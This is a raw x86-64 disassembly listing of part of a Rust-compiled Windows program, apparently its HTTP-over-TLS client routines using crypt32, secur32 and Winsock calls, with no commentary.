lea rdx, [rbp + 0x1230]
movabs rcx, 0x8000000000000005
mov qword [rdx], rcx
movups xmmword [rdx + 8], xmm0
mov qword [rdx + 0x18], rax
mov byte [rbp + 0x165f], 1
mov rcx, qword [rbp + 0x1628]
call fcn.14001ac08
jmp 0x140018d23
movzx eax, word [rbp + 0x14f0]
lea rdx, [rbp + 0x1230]
movabs rcx, 0x8000000000000006
mov qword [rdx], rcx
mov word [rdx + 8], ax
mov byte [rbp + 0x165f], 1
mov rcx, qword [rbp + 0x1628]
call fcn.14001ac08
jmp 0x140018d23
cmp byte [rbp + 0xd3b], 0
je 0x140018564
mov byte [rbp + 0x165e], 0
mov rcx, r13
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rbp + 0x15f0], rax
push 0x18
pop rcx
push 8
pop rdx
call fcn.140008d89
push 1
pop rcx
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov qword [rbp + 0x1608], rax
mov rcx, qword [rbp + 0x15f0]
mov qword [rax + 0x10], rcx
mov rcx, rdi
call fcn.1400074d5
lea rax, [0x1401cfb60]
mov rcx, qword [rbp + 0x1608]
mov qword [rbp + 0xe70], rcx
mov qword [rbp + 0xe78], rax
lea rbx, [rbp + 0xe58]
mov qword [rbp + 0x14e8], r12
mov rcx, qword [rbx - 0x18]
xor eax, eax
cmp byte [rbx + 0x28], 0
mov r8d, 0
je 0x14001858b
mov r8, qword [rbp + 0xe48]
movabs rdx, 0x8000000000000000
cmp rcx, rdx
cmove r8, rax
mov al, 1
mov byte [rbp + 0x164f], al
mov byte [rbp + 0x164e], al
lea rcx, [rbp + 0xf80]
mov rdx, r12
mov r9, rbx
call case.0x1401525ca.299
mov rax, qword [rbp + 0xf90]
cmp rax, 2
jne 0x14001861c
mov r12, qword [rbp + 0xf80]
mov qword [rbp + 0x1238], 2
mov qword [rbp + 0x1240], r12
mov qword [rbp + 0x1230], 1
mov byte [rbp + 0x164d], 1
mov rcx, qword [rbp + 0x1610]
call qword [sym.imp.ws2_32.dll_closesocket]
mov byte [rbp + 0x165e], 1
lea rcx, [rbp + 0x14e8]
call fcn.1400073d0
push 2
pop rsi
jmp 0x14001894a
mov qword [rbp + 0x1590], rax
mov rsi, qword [rbp + 0xf80]
mov rdi, qword [rbp + 0xf88]
mov r13d, dword [rbp + 0xf98]
mov rax, qword [rbp + 0xfa0]
mov qword [rbp + 0x15f0], rax
mov qword [rbp + 0x15a8], r12
mov qword [rbp + 0x1200], rsi
mov qword [rbp + 0x1208], rdi
mov rcx, qword [rbp + 0xe30]
mov rdx, qword [rbp + 0xe38]
mov r14b, 1
mov byte [rbp + 0x1648], r14b
mov byte [rbp + 0x1647], r14b
call fcn.140007417
mov qword [rbp + 0x15a0], rax
mov qword [rbp + 0x1598], rdx
mov qword [rbp + 0x1608], r15
lea rdx, [rbp + 0xe40]
mov byte [rbp + 0x1646], r14b
mov byte [rbp + 0x1645], r14b
lea rcx, [rbp + 0x1518]
call fcn.140007439
mov al, byte [rbp + 0xe80]
mov byte [rbp + 0x1626], al
mov al, byte [rbp + 0xe81]
mov byte [rbp + 0x1627], al
mov rcx, qword [rbp + 0xe70]
mov rdx, qword [rbp + 0xe78]
call fcn.1400074c4
mov r14, rax
mov qword [rbp + 0x11b8], rax
mov r15, rdx
mov qword [rbp + 0x11c0], rdx
cmp qword [rbp + 0x1590], 0
je 0x14001874c
test r13, r13
push 1
pop rax
mov rdx, qword [rbp + 0x15f0]
mov qword [rbp + 0x1608], rax
cmove rdx, rax
lea rcx, [rbp + 0x1230]
mov r8, r13
call fcn.1401746b4
mov rcx, qword [rbp + 0x15f0]
call qword [sym.imp.secur32.dll_FreeContextBuffer]
mov rcx, qword [rbp + 0x1230]
movabs rax, 0x8000000000000000
cmp rcx, rax
jne 0x1400187e1
xor eax, eax
mov qword [rbp + 0x15c8], rax
xor r13d, r13d
jmp 0x1400187fd
lea rax, [rbp + 0x1490]
mov qword [rbp + 0xf80], rax
mov qword [rbp + 0xf88], rbx
lea rax, [rbp + 0x15e4]
mov qword [rbp + 0xf90], rax
lea rax, str.Host:
lea rdx, [rbp + 0x1230]
mov qword [rdx], rax
mov qword [rdx + 8], 3
and qword [rdx + 0x20], 0
mov qword [rbp + 0xf98], rdi
mov qword [rdx + 0x10], rsi
mov qword [rdx + 0x18], 2
mov byte [rbp + 0x165f], 1
lea rcx, [rbp + 0xd20]
call fcn.140012109
test rax, rax
je 0x140018c71
mov byte [rbp + 0x165f], 1
mov rcx, rax
call fcn.140015c8d
jmp 0x140018d11
mov qword [rbp + 0x15c8], rcx
mov rax, qword [rbp + 0x1238]
mov qword [rbp + 0x1608], rax
mov r13, qword [rbp + 0x1240]
lea rcx, [rbp + 0x1230]
mov rdx, rbx
call fcn.1400074fd
mov rax, qword [rbp + 0x1528]
lea rdx, [rbp + 0xf80]
mov qword [rdx + 0x80], rax
movups xmm0, xmmword [rbp + 0x1518]
movups xmmword [rdx + 0x70], xmm0
and qword [rdx + 0x10], 0
push 1
pop rax
mov qword [rdx + 0x18], rax
xorps xmm0, xmm0
movups xmmword [rdx + 0x20], xmm0
and qword [rdx + 0x30], 0
mov qword [rdx + 0x38], rax
movups xmmword [rdx + 0x40], xmm0
mov rcx, qword [rbp + 0x15c8]
mov qword [rdx + 0x50], rcx
mov rcx, qword [rbp + 0x1608]
mov qword [rdx + 0x58], rcx
mov qword [rdx + 0x60], r13
and qword [rdx + 0x68], 0
lea rcx, [rbp + 0x1230]
mov r8, qword [rcx + 0x10]
mov qword [rdx + 0x98], r8
movups xmm0, xmmword [rcx]
movups xmmword [rdx + 0x88], xmm0
mov r8, qword [rbp + 0x15a0]
mov qword [rdx], r8
mov r8, qword [rbp + 0x1598]
mov qword [rdx + 8], r8
mov dword [rdx + 0xa0], 0x10000
xor r8d, r8d
mov byte [rdx + 0xa4], r8b
mov qword [rdx + 0xb8], r12
mov r9, qword [rbp + 0x1610]
mov qword [rdx + 0xc0], r9
mov qword [rdx + 0xc8], rsi
mov qword [rdx + 0xd0], rdi
mov qword [rdx + 0xd8], r14
mov qword [rdx + 0xe0], r15
mov qword [rdx + 0xe8], rax
and qword [rdx + 0xf0], 0
mov byte [rbp + 0x1644], r8b
mov byte [rbp + 0x1643], r8b
mov al, byte [rbp + 0x1626]
mov byte [rdx + 0xf8], al
mov al, byte [rbp + 0x1627]
mov byte [rdx + 0xf9], al
mov word [rdx + 0xfa], 0x100
call fcn.140007673
cmp qword [rbp + 0x1230], 0
mov rsi, qword [rbp + 0x1238]
mov r12, qword [rbp + 0x1240]
je 0x140018b16
cmp rsi, 2
jne 0x140018c0c
lea rcx, [rbp + 0x8e0]
lea rdx, [rbp + 0xf80]
mov r8d, 0xe0
call sub.VCRUNTIME140.dll_memcpy
push 1
pop rbx
lea rcx, [rbp + 0xe30]
call fcn.140007332
mov byte [rbp + 0x1656], 0
lea rcx, [rbp + 0x670]
call fcn.1400072df
lea rcx, [rbp + 0xb00]
lea rdx, [rbp + 0x8e0]
mov r8d, 0xe0
call sub.VCRUNTIME140.dll_memcpy
test rbx, rbx
je 0x140018afd
cmp rsi, 2
je 0x140018005
lea rbx, [rbp + 0x1230]
lea rdx, [rbp + 0xb00]
mov r8d, 0xe0
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea r13, [rbp + 0x1c8]
mov r8d, 0xe0
mov rcx, r13
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea r14, [rbp - 0x58]
mov r8d, 0xe0
mov rcx, r14
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
lea r13, [rbp + 0xf80]
mov qword [rbp + 0xf80], rsi
mov qword [rbp + 0xf88], r12
mov qword [rbp + 0xf90], rdi
mov qword [rbp + 0xf98], r15
mov r8d, 0xe0
lea rcx, [rbp + 0xfa0]
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
mov rdx, r13
call fcn.140007673
cmp qword [rbp + 0x1230], 0
mov rsi, qword [rbp + 0x1238]
je 0x140018b3e
mov r12, qword [rbp + 0x1240]
cmp rsi, 2
je 0x140018c32
mov rax, qword [rbp + 0x1248]
mov qword [rbp + 0x1608], rax
mov r15, qword [rbp + 0x1250]
mov r8d, 0xe0
mov rcx, r13
lea rdx, [rbp + 0x1258]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0xe0
lea rdi, [rbp + 0x8e0]
mov rcx, rdi
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0xe0
mov rcx, rbx
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0xe0
mov rdi, rsi
mov rsi, r13
mov r13, rbx
lea rbx, [rbp + 0xb00]
mov rcx, rbx
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0xe0
mov rcx, r14
mov rdx, rbx
mov rbx, r13
mov r13, rsi
mov rsi, rdi
mov rdi, qword [rbp + 0x1608]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140018a01
lea rbx, [rbp + 0x1c8]
lea rdx, [rbp + 0xb00]
mov r8d, 0xe0
mov rcx, rbx
jmp 0x140018b79
lea rdx, [rbp + 0x1258]
mov rdi, qword [rdx - 0x10]
mov r15, qword [rdx - 8]
lea rcx, [rbp + 0x8e0]
mov r8d, 0xe0
call sub.VCRUNTIME140.dll_memcpy
xor ebx, ebx
jmp 0x140018966
lea rdx, [rbp + 0x1258]
mov r12, qword [rdx - 0x18]
mov rdi, qword [rdx - 0x10]
mov r15, qword [rdx - 8]
lea r13, [rbp + 0x8e0]
mov r8d, 0xe0
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [rbp + 0xb00]
mov r8d, 0xe0
mov rcx, rbx
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x1230]
mov r8d, 0xe0
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + 0x1658], 0
lea rcx, [rbp + 0xd20]
call fcn.14001c879
cmp rsi, 2
je 0x14001803c
lea rcx, [rbp + 0x4f8]
lea rdx, [rbp + 0x1230]
mov r8d, 0xe0
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x15d8]
mov rdx, qword [rbp + 0x15e8]
call fcn.14006095a
xor eax, eax
mov byte [rbp + 0x1652], al
mov byte [rbp + 0x1651], al
lea rcx, [rbp + 0x7a8]
call fcn.14001c81c
mov rax, rsi
mov rbx, qword [rbp + 0x1600]
mov r14, qword [rbp + 0x15d0]
jmp 0x140018089
lea rdx, [rbp + 0x1258]
mov rdi, qword [rdx - 0x10]
mov r15, qword [rdx - 8]
lea rcx, [rbp + 0xf80]
mov r8d, 0xe0
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14001894a
lea rcx, [rbp + 0x8e0]
lea rdx, [rbp + 0xf80]
mov r8d, 0xe0
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xb00]
lea rdx, [rbp + 0x1230]
mov r8d, 0xe0
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r12
call fcn.140015d51
jmp 0x140018026
lea rax, str.Connection:_close_r_n
lea rdx, [rbp + 0x1230]
mov qword [rdx], rax
mov qword [rdx + 8], 1
mov qword [rdx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rdx + 0x18], xmm0
mov byte [rbp + 0x165f], 1
lea rcx, [rbp + 0xd20]
call fcn.140012109
test rax, rax
je 0x140018cc2
mov byte [rbp + 0x165f], 1
mov rcx, rax
call fcn.140015c8d
jmp 0x140018d11
lea rax, [0x14024f068]
lea rdx, [rbp + 0x1230]
mov qword [rdx], rax
mov qword [rdx + 8], 1
mov qword [rdx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rdx + 0x18], xmm0
mov byte [rbp + 0x165f], 1
lea rcx, [rbp + 0xd20]
call fcn.140012109
test rax, rax
je 0x140018d4b
mov byte [rbp + 0x165f], 1
mov rcx, rax
call fcn.140015c8d
mov rcx, qword [rbp + 0x1628]
mov qword [rcx + 8], rax
mov qword [rcx], 5
mov byte [rbp + 0x1655], 0
lea rcx, [rbp + 0xd20]
call fcn.140009492
nop
add rsp, 0x16e8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rsi, [rbp + 0x1230]
lea rdx, [rbp + 0xd20]
mov r8d, 0x110
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + 0x165f], 0
lea rcx, [rbp + 0x7a8]
mov rdx, rsi
call fcn.14001226c
mov r8, qword [r14 + 0x178]
mov byte [rbp + 0x165c], 1
lea rcx, [rbp + 0x1230]
lea rdx, [rbp + 0x7a8]
call fcn.14001649c
mov rbx, qword [rbp + 0x1230]
mov rdx, qword [rbp + 0x1238]
cmp rdx, 3
jne 0x140018ddc
mov rax, qword [rbp + 0x1628]
mov qword [rax + 8], rbx
mov qword [rax], 5
mov byte [rbp + 0x165f], 0
lea rcx, [rbp + 0x7a8]
call fcn.140009463
jmp 0x140018d36
lea rsi, [rbp + 0x1240]
lea rax, [rbp + 0xf90]
push 0xb
pop rcx
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rax - 0x10], rbx
lea rcx, [rbp + 0xf88]
mov qword [rcx], rdx
mov byte [rbp + 0x165c], 1
call fcn.140017093
mov rax, rbx
mov qword [rbp + 0x1618], rbx
lea eax, [rbx - 0xc8]
cmp ax, 0x64
jae 0x140018ee3
lea rcx, [rbp + 0x1200]
and qword [rcx], 0
mov word [rcx + 0x2c], 0x501
and qword [rcx + 0x10], 0
mov qword [rcx + 0x18], 8
and qword [rcx + 0x20], 0
mov dword [rcx + 0x28], 0x10000
mov byte [rbp + 0x165a], 1
mov rdx, r14
call fcn.14001c756
mov rdi, qword [rbp + 0x1508]
mov rbx, qword [rbp + 0x1510]
lea rcx, [rbp + 0x670]
lea rdx, [rbp + 0x7a8]
mov r8d, 0x138
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + 0x1657], 1
lea rcx, [rbp + 0x1230]
lea rdx, [rbp + 0x1200]
call fcn.1400600c6
mov r15, qword [rbp + 0x1230]
mov rsi, qword [rbp + 0x1238]
cmp r15, 2
jne 0x14001926c
mov byte [rbp + 0x1657], 1
mov rcx, rsi
call fcn.140015d51
mov rsi, rax
mov byte [rbp + 0x165a], 0
lea rcx, [rbp + 0x670]
call fcn.140009463
jmp 0x1400193aa
lea rsi, [rbp + 0x1230]
mov edx, 0x800
mov rcx, rsi
xor r8d, r8d
call fcn.1401c24b1
cmp qword [rsi], 0
mov rax, qword [rsi + 8]
mov qword [rbp + 0x1630], rax
jne 0x140019ccd
mov rax, qword [rsi + 0x10]
mov rdi, qword [rbp + 0x1630]
mov qword [rbp + 0xb00], rdi
mov qword [rbp + 0xb08], rax
and qword [rbp + 0xb10], 0
lea rdx, [rbp + 0x7a8]
mov r8d, 0x138
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi + 0x138], 0x2800
cmp rdi, 0x20
jae 0x140018fba
lea rcx, [rbp + 0x1230]
lea rdx, [rbp + 0xb00]
call fcn.140011e3d
mov rbx, rdx
test rax, rax
je 0x1400193d4
mov rcx, rbx
call fcn.140015c8d
mov rcx, qword [rbp + 0x1628]
mov qword [rcx + 8], rax
mov qword [rcx], 5
mov byte [rbp + 0x1654], 1
lea rcx, [rbp + 0x1230]
call fcn.140009463
mov rcx, qword [rbp + 0xb00]
mov rdx, qword [rbp + 0xb08]
call fcn.14006095a
jmp 0x140018d36
xor r8d, r8d
mov r13d, 0x2000
xor esi, esi
lea rdi, [rbp + 0x1230]
lea r12, [rbp + 0xf80]
mov r9, qword [rbp + 0xb00]
cmp r8, r9
jne 0x14001901a
cmp r9, qword [rbp + 0x1630]
jne 0x14001901a
mov rcx, rdi
lea rdx, [rbp + 0xb00]
call fcn.140011e3d
mov rbx, rdx
test rax, rax
jne 0x140018f75
test rbx, rbx
je 0x1400194c4
mov r9, qword [rbp + 0xb00]
mov r8, qword [rbp + 0xb10]
cmp r8, r9
jne 0x14001904f
lea rcx, [rbp + 0xb00]
mov rdx, r9
call fcn.1401b4b1d
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x140019c46
mov r9, qword [rbp + 0xb00]
mov r8, qword [rbp + 0xb10]
sub r9, r8
add r8, qword [rbp + 0xb08]
cmp r9, r13
mov r14, r13
cmovb r14, r9
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srciomod.rsfailed_to_fill_whole_buffer
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov rdx, r14
call fcn.140085969
mov qword [rbp + 0x8e0], rax
mov qword [rbp + 0x8e8], rdx
and qword [rbp + 0x8f0], 0
mov qword [rbp + 0x8f8], rsi
mov rbx, qword [rbp + 0x1368]
test rbx, rbx
je 0x140019188
mov r8, qword [rbp + 0x8e8]
mov rsi, qword [rbp + 0x8f0]
mov rax, r8
sub rax, rsi
cmp rbx, rax
jbe 0x1400190df
mov rcx, rdi
lea rdx, [rbp + 0x8e0]
call fcn.140011d32
mov rbx, rax
test rax, rax
jne 0x140019164
jmp 0x140019191
mov rdx, qword [rbp + 0x8f8]
mov r15, rdx
sub r15, rsi
jb 0x140019c83
cmp rdx, r8
ja 0x140019c94
mov rdx, qword [rbp + 0x8e0]
cmp rbx, r15
cmovb r15, rbx
mov rcx, rsi
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srcio_borrowed_buf.rs
call fcn.14001ca54
mov r9, rdx
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srciomod.rsfailed_to_fill_whole_buffer
mov qword [rsp + 0x20], rcx
xor ecx, ecx
mov rdx, rbx
mov r8, rax
call fcn.140085969
mov qword [rbp + 0xf80], rax
mov qword [rbp + 0xf88], rdx
and qword [rbp + 0xf90], 0
mov qword [rbp + 0xf98], r15
mov rcx, rdi
mov rdx, r12
call fcn.140011d32
mov rbx, rax
test rax, rax
je 0x1400191a4
mov rcx, rbx
call fcn.14000fca9
test al, al
je 0x140018f75
mov qword [rbp + 0xf80], rbx
mov rcx, r12
call fcn.14001ca7a
jmp 0x140019096
mov rcx, qword [rbp + 0x8f0]
jmp 0x140019203
mov rcx, qword [rbp + 0x8f0]
sub rsi, rcx
add qword [rbp + 0x1368], rsi
jmp 0x140019203
mov rax, qword [rbp + 0xf90]
mov r9, qword [rbp + 0xf98]
cmp rax, r9
ja 0x140019cfa
mov rdx, qword [rbp + 0xf88]
cmp r9, rdx
ja 0x140019ce9
mov rdx, qword [rbp + 0x8f0]
mov r8, qword [rbp + 0x8f8]
lea rcx, [rdx + rax]
mov qword [rbp + 0x8f0], rcx
cmp r8, rcx
cmovbe r8, rcx
add r9, rdx
cmp r8, r9
cmova r9, r8
mov qword [rbp + 0x8f8], r9
sub qword [rbp + 0x1368], rax
mov rdx, qword [rbp + 0x8f8]
mov rsi, rdx
sub rsi, rcx
jb 0x140019cbf
mov rax, qword [rbp + 0x8e8]
cmp rdx, rax
ja 0x140019cab
test rcx, rcx
je 0x1400194c4
mov r8, qword [rbp + 0xb10]
add r8, rcx
cmp rdx, r14
push 0xffffffffffffffff
pop rdx
cmovne r13, rdx
lea rax, [r13*2]
test r13, r13
cmovs rax, rdx
cmp r14, r13
cmovb rax, r13
mov qword [rbp + 0xb10], r8
cmp rcx, r14
cmove r13, rax
jmp 0x140018fd3
movups xmm0, xmmword [rbp + 0x1240]
movups xmmword [rbp + 0x15b8], xmm0
mov qword [rbp + 0x15a8], r15
mov qword [rbp + 0x15b0], rsi
lea rcx, [rbp + 0xe30]
lea rdx, [rbp + 0x670]
mov r8d, 0x138
call sub.VCRUNTIME140.dll_memcpy
lea r14, [rbp + 0x11b8]
movabs rax, 0x8000000000000000
mov qword [r14 + 0x18], rax
mov qword [r14 + 0x30], rax
and qword [r14], 0
mov qword [r14 + 8], 8
and qword [r14 + 0x10], 0
mov cl, byte [rbp + 0x15c4]
mov dl, byte [rbp + 0x15c5]
call fcn.140060077
mov r8, rdx
mov byte [rbp + 0x1659], 1
mov rcx, r14
mov rdx, rax
call fcn.14017521b
test r15, r15
je 0x14001931c
mov byte [rbp + 0x1659], 1
mov rcx, rsi
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov byte [rbp + 0x1659], 1
lea rcx, [rbp + 0x11b8]
mov rdx, rax
call fcn.1401752b6
mov byte [rbp + 0x1659], 1
lea rcx, [rbp + 0x11b8]
call fcn.140175323
mov rsi, rdx
test rax, rax
je 0x1400193e9
mov byte [rbp + 0x1653], 1
lea rcx, [rbp + 0x11b8]
call fcn.1400072df
lea rcx, [rbp + 0xe30]
call fcn.140009463
lea rcx, [rbp + 0xb00]
lea rdx, [rbp + 0x8e0]
mov r8d, 0x220
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x1c8]
lea rdx, [rbp + 0x1230]
mov r8d, 0x220
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
call fcn.140015d51
mov rsi, rax
mov byte [rbp + 0x1657], 0
lea rcx, [rbp + 0x15a8]
call fcn.14001c879
mov rax, qword [rbp + 0x1628]
mov qword [rax + 8], rsi
mov qword [rax], 5
mov byte [rbp + 0x165c], 0
lea rcx, [rbp + 0x1200]
call fcn.14001c81c
jmp 0x140018d36
test rbx, rbx
je 0x1400194c4
mov r8, qword [rbp + 0xb10]
jmp 0x140018fbd
movabs rax, 0x8000000000000000
mov qword [rbp + 0x1528], rax
mov word [rbp + 0x1568], 1
and qword [rbp + 0x1558], 0
and qword [rbp + 0x1518], 0
mov qword [rbp + 0x14c0], rsi
mov qword [rbp + 0x1540], rax
mov r14, qword [rbp + 0x15b8]
mov byte [rbp + 0x165d], 0
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov byte [rbp + 0x165d], 0
lea rcx, [rbp + 0x1518]
mov rdx, rax
call fcn.1401756ca
mov byte [rbp + 0x165d], 0
lea rcx, [rbp + 0x1518]
mov rdx, rdi
mov r8, rbx
call fcn.140175529
lea rdi, [rbp + 0x1558]
movzx eax, word [rbp + 0x15c0]
mov word [rdi + 0x10], ax
cmp byte [rbp + 0x15c2], 0
je 0x140019521
mov byte [rbp + 0x165d], 0
push 0x10
pop rcx
push 8
pop rdx
call fcn.140008d89
mov qword [rbp + 0x1630], rax
push 1
pop rax
mov rcx, qword [rbp + 0x1630]
mov qword [rcx], rax
mov qword [rcx + 8], rax
mov rcx, rdi
call fcn.1400074d5
lea rax, fcn.140009390
jmp 0x14001957e
mov byte [rbp + 0x1654], 1
lea rcx, [rbp + 0x1230]
call fcn.140009463
movups xmm0, xmmword [rbp + 0xb00]
lea rcx, [rbp + 0x1230]
movaps xmmword [rcx], xmm0
mov rax, qword [rbp + 0xb10]
mov qword [rcx + 0x10], rax
mov rax, qword [rbp + 0x1618]
mov word [rcx + 0x18], ax
mov byte [rbp + 0x1654], 0
call fcn.140015db3
mov rcx, qword [rbp + 0x1628]
mov qword [rcx + 8], rax
mov qword [rcx], 5
jmp 0x140018d36
cmp byte [rbp + 0x15c3], 0
je 0x140019593
mov byte [rbp + 0x165d], 0
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rbp + 0x1618], rax
push 0x18
pop rcx
push 8
pop rdx
call fcn.140008d89
mov qword [rbp + 0x1630], rax
push 1
pop rax
mov rcx, qword [rbp + 0x1630]
mov qword [rcx], rax
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0x1618]
mov qword [rcx + 0x10], rax
mov rcx, rdi
call fcn.1400074d5
lea rax, [0x1401cfb30]
mov rcx, qword [rbp + 0x1630]
mov qword [rbp + 0x1558], rcx
mov qword [rbp + 0x1560], rax
lea rdi, [rbp + 0x1540]
lea rcx, [rbp + 0x4f8]
lea rdx, [rbp + 0xe30]
mov r8d, 0x138
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x1570], rsi
mov rcx, qword [rdi - 0x18]
xor eax, eax
cmp byte [rdi + 0x28], 0
mov r8d, 0
je 0x1400195d3
mov r8, qword [rbp + 0x1530]
movabs rdx, 0x8000000000000000
cmp rcx, rdx
cmove r8, rax
mov al, 1
mov byte [rbp + 0x164b], al
mov byte [rbp + 0x164a], al
lea rcx, [rbp + 0xf80]
mov rdx, rsi
mov r9, rdi
call case.0x1401525ca.299
mov rax, qword [rbp + 0xf90]
mov qword [rbp + 0x1630], rax
cmp rax, 2
jne 0x14001966b
mov rsi, qword [rbp + 0xf80]
mov qword [rbp + 0x1238], 2
mov qword [rbp + 0x1240], rsi
mov qword [rbp + 0x1230], 1
mov byte [rbp + 0x1649], 1
lea rcx, [rbp + 0x4f8]
call fcn.140009463
mov byte [rbp + 0x165d], 1
lea rcx, [rbp + 0x1570]
call fcn.1400073d0
push 2
pop r15
jmp 0x140019969
mov r12, qword [rbp + 0xf80]
mov r13, qword [rbp + 0xf88]
mov r15d, dword [rbp + 0xf98]
mov rax, qword [rbp + 0xfa0]
mov qword [rbp + 0x1600], rax
mov qword [rbp + 0x14b8], rsi
mov qword [rbp + 0x1480], r12
mov qword [rbp + 0x1488], r13
mov rcx, qword [rbp + 0x1518]
mov rdx, qword [rbp + 0x1520]
mov bl, 1
mov byte [rbp + 0x1642], bl
mov byte [rbp + 0x1641], bl
call fcn.140007417
mov qword [rbp + 0x1610], rax
mov qword [rbp + 0x15e8], rdx
lea rdx, [rbp + 0x1528]
mov byte [rbp + 0x1640], bl
mov byte [rbp + 0x163f], bl
lea rcx, [rbp + 0x14a0]
call fcn.140007439
mov al, byte [rbp + 0x1568]
mov byte [rbp + 0x15d0], al
mov al, byte [rbp + 0x1569]
mov byte [rbp + 0x15d8], al
mov rcx, qword [rbp + 0x1558]
mov rdx, qword [rbp + 0x1560]
call fcn.1400074c4
mov rbx, rax
mov r14, rdx
mov qword [rbp + 0x1470], rax
mov qword [rbp + 0x1478], rdx
lea rcx, [rbp + 0x1230]
lea rdx, [rbp + 0x4f8]
mov r8d, 0x138
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rbp + 0x1630], 0
je 0x1400197be
test r15, r15
push 1
pop rax
mov rdx, qword [rbp + 0x1600]
mov qword [rbp + 0x1618], rax
cmove rdx, rax
lea rcx, [rbp + 0xf80]
mov r8, r15
call fcn.1401746b4
mov rcx, qword [rbp + 0x1600]
call qword [sym.imp.secur32.dll_FreeContextBuffer]
mov rdx, qword [rbp + 0xf80]
movabs rax, 0x8000000000000000
mov rcx, rdx
mov qword [rbp + 0x15f8], rdx
cmp rdx, rax
je 0x1400197c8
mov rax, qword [rbp + 0xf88]
mov qword [rbp + 0x1618], rax
mov r15, qword [rbp + 0xf90]
jmp 0x1400197d4
push 1
pop rax
mov qword [rbp + 0x1618], rax
xor eax, eax
mov qword [rbp + 0x15f8], rax
xor r15d, r15d
lea rcx, [rbp + 0xf68]
mov rdx, rdi
call fcn.1400074fd
mov rax, qword [rbp + 0x14b0]
lea rdi, [rbp + 0xf90]
mov qword [rdi + 0x1a8], rax
movups xmm0, xmmword [rbp + 0x14a0]
movups xmmword [rdi + 0x198], xmm0
lea rdx, [rbp + 0x1230]
mov r8d, 0x138
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
and qword [rdi + 0x138], 0
push 1
pop rax
mov qword [rdi + 0x140], rax
xorps xmm0, xmm0
movups xmmword [rdi + 0x148], xmm0
and qword [rdi + 0x158], 0
mov qword [rdi + 0x160], rax
movups xmmword [rdi + 0x168], xmm0
mov rcx, qword [rbp + 0x15f8]
mov qword [rdi + 0x178], rcx
mov rcx, qword [rbp + 0x1618]
mov qword [rdi + 0x180], rcx
mov qword [rdi + 0x188], r15
and qword [rdi + 0x190], 0
movups xmm0, xmmword [rbp + 0xf68]
movups xmmword [rdi + 0x1b0], xmm0
mov rcx, qword [rbp + 0xf78]
mov qword [rdi + 0x1c0], rcx
mov rcx, qword [rbp + 0x1610]
mov qword [rdi - 0x10], rcx
mov rcx, qword [rbp + 0x15e8]
mov qword [rdi - 8], rcx
mov dword [rdi + 0x1c8], 0x10000
xor ecx, ecx
mov byte [rdi + 0x1cc], cl
mov qword [rdi + 0x1e0], rsi
mov qword [rdi + 0x1e8], r12
mov qword [rdi + 0x1f0], r13
mov qword [rdi + 0x1f8], rbx
mov qword [rdi + 0x200], r14
mov qword [rdi + 0x208], rax
and qword [rdi + 0x210], 0
mov al, byte [rbp + 0x15d0]
mov byte [rdi + 0x218], al
mov al, byte [rbp + 0x15d8]
mov byte [rdi + 0x219], al
mov word [rdi + 0x21a], 0x100
mov byte [rbp + 0x163e], cl
mov byte [rbp + 0x163d], cl
lea rcx, [rbp + 0x1230]
lea rdx, [rbp + 0xf80]
call fcn.140009848
cmp qword [rbp + 0x1230], 0
mov r15, qword [rbp + 0x1238]
mov rsi, qword [rbp + 0x1240]
je 0x140019b0a
cmp r15, 2
je 0x140019969
lea rdx, [rbp + 0x1248]
lea rcx, [rbp + 0xf80]
mov r8d, 0x220
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x8e0]
lea rdx, [rbp + 0xf80]
mov r8d, 0x220
call sub.VCRUNTIME140.dll_memcpy
push 1
pop rdi
lea rcx, [rbp + 0x1518]
call fcn.140007332
mov byte [rbp + 0x1653], 0
lea rcx, [rbp + 0x11b8]
call fcn.1400072df
lea rcx, [rbp + 0xb00]
lea rdx, [rbp + 0x8e0]
mov r8d, 0x220
call sub.VCRUNTIME140.dll_memcpy
test rdi, rdi
je 0x140019adc
cmp r15, 2
je 0x140019373
lea rdi, [rbp + 0x1230]
lea rbx, [rbp + 0xb00]
